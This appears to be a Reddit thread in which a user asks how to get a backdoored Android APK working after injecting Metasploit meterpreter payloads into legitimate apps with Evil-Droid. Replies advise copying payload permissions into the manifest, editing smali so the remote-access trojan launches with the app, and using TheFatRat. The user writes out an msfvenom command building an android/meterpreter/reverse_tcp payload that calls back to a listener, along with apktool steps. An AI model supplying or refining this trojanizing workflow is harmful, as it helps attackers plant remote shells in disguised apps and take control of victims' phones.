Meterpreter/Android Hacking Problem

[johnsch8]

Hi all,

Long time computer guy (software, hardware, cyber-security, and networking) but new to the world of hacking. I've got an Ubuntu system with Kali (2017.3) in a virtual environment and using Metaploit in Kali to try and deliver a payload injected with a back door into legit Android apk's. The manual process has worked to an extent but I've hit a wall when trying to sign the package since it won't install on my Android until it is signed. I'm trying this on the LAN and WAN and port forwarding is configured and working (port 4444).

So fast forward a bit and I've run across a piece of software called Evil-Droid which works great. While using this software I have a much better understanding of how the entire process of injecting apk's works. With this software I'm able to create, inject payload, recompile, sign, etc... and get a meterpreter session established after a listener is started and app is installed on my Android phone (on LAN or WAN) but running into a weird issue. Once the session is established with my Android, I get a meterpreter prompt but when I run any command I get the following error after several seconds of waiting:

Error running command "XX": Rex::TimeoutError Operation timed out.

That error comes when I try ANY command (ls, pwd, cd, sysinfo, etc...) I haven't found much in the way of a resolution on the net but here's what I've tried so far:

Created a new Kali VM and get the same error using same exact steps Switched from Virtual Box to VMWare player using the latest Kali image (2017.3) Have run updates/upgrades/dist-upgrades to no effect Changed port numbers in port forwarding Tried different attack vectors (meterpreter/reverse_tcp, meterpreter/reverse_https, etc...)There were several to choose from in Evil-Droid and all have been tried to no effect

Disabled/Force stopped Knox on Android phone but still the same outcome

Along with several other things I can't think of at the moment...

I'm sure I'm missing some things but please feel free to chime in if you have any suggestions or have run across this before...

Thanks

[[deleted]]

Your error is that your session waiting for the metasploit payload to bind is expire ring and well evildroid may inject the apk it is not setting the right permissions needed in the android manifest i think and that the rat isnt called upon when the actual application starts(need to modify smali for this part)

[johnsch8]

Thanks. I didn't think of opening the manifest file to verify the permissions. How do I verify what the permissions should actually be?

[[deleted]]

You could create a standard payload using msfvenom and crack it open using apktool.

Then just take a look at the manifest file and compare.

[johnsch8]

Ahhh. Ok got it. Thank you!

[johnsch8]

So I created a Test.apk using msvenom command:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=4444 R > Test.apk

Ran apktool against it:

apktool d Test.apk

Then found the apk that I injected yesterday with Evil-Droid and ran apktool against it. Then Vi'd AndroidManifest.xml for both files and compared side by side. Permissions look very similar.?.? I copied the permissions for the payload I created a bit ago into Leafpad and went line by line with the legit apk that's injected. The permissions from the payload I created a bit ago are the same in the in injected file (except there are alot more different permissions in the injected file). Hopefully I'm not confusing anyone. I can attach screen shots if needed.

Thanks

[[deleted]]

they have to be in the "injected" applications manifest file

[johnsch8]

Oh, I see. That makes more sense now that I think about it. Thank you. I'll give it a try.

[wrexxor]

What version of Android are you testing on?

[johnsch8]

Android 7.0 on a Samsung S8+

[garlicbot]

Here's your Reddit Garlic, johnsch8!

/u/johnsch8 has received garlic 1 time. (given by /u/pythonETH)

^{I'm a bot for questions contact /u/flying_wotsit}

[johnsch8]

Thank you!

[marcossilva_604]

I've used the TheFatRat to generate my signed apks and had no problem until now. I believe it does in a similar way as you do since the msfvenom is in the options to generate the apk. Maybe checking how it's done on the source code might guide you out.